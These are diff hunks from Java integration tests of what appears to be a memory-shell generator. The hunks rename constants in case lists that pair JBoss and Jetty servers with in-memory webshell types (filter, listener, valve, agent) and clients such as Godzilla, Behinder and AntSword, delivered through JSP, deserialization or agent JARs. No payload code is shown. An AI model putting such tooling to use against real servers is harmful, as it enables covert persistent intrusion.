arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -45,42 +45,42 @@ public class Jboss510ContainerTest {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), // java.net.SocketTimeoutException: Read timed out
// arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
// arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packer.INSTANCE.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,44 +42,44 @@ public class Jboss610ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JavaDeserialize),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JavaDeserialize),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jbossas;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -45,29 +45,29 @@ public class Jboss711ContainerTest {
*/
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,9 +1,9 @@
package com.reajason.javaweb.integration.jbosseap;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,29 +42,29 @@ public class JbossEap6ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, Constants.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, Constants.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.VALVE, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_FILTER_CHAIN, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Command, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Behinder, Packers.AgentJar),
arguments(imageName, ShellType.AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar)
);
}
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jbosseap;
import com.reajason.javaweb.memshell.UndertowShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.UndertowShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -43,36 +43,36 @@ public class JbossEap7ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.SERVLET, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.FILTER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Behinder, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.Suo5, Packers.ScriptEngine),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.JSP),
arguments(imageName, ShellType.LISTENER, ShellTool.AntSword, Packers.ScriptEngine),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.AntSword, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Command, Packers.AgentJar),
arguments(imageName, UndertowShell.AGENT_SERVLET_HANDLER, ShellTool.Behinder, Packers.AgentJar),
@@ -1,10 +1,10 @@
package com.reajason.javaweb.integration.jetty;
import com.reajason.javaweb.memshell.JettyShell;
import com.reajason.javaweb.memshell.config.Constants;
import com.reajason.javaweb.memshell.config.Server;
import com.reajason.javaweb.memshell.config.ShellTool;
import com.reajason.javaweb.memshell.packer.Packers;
import com.reajason.javaweb.memshell.server.JettyShell;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.Server;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
@@ -42,30 +42,30 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP),
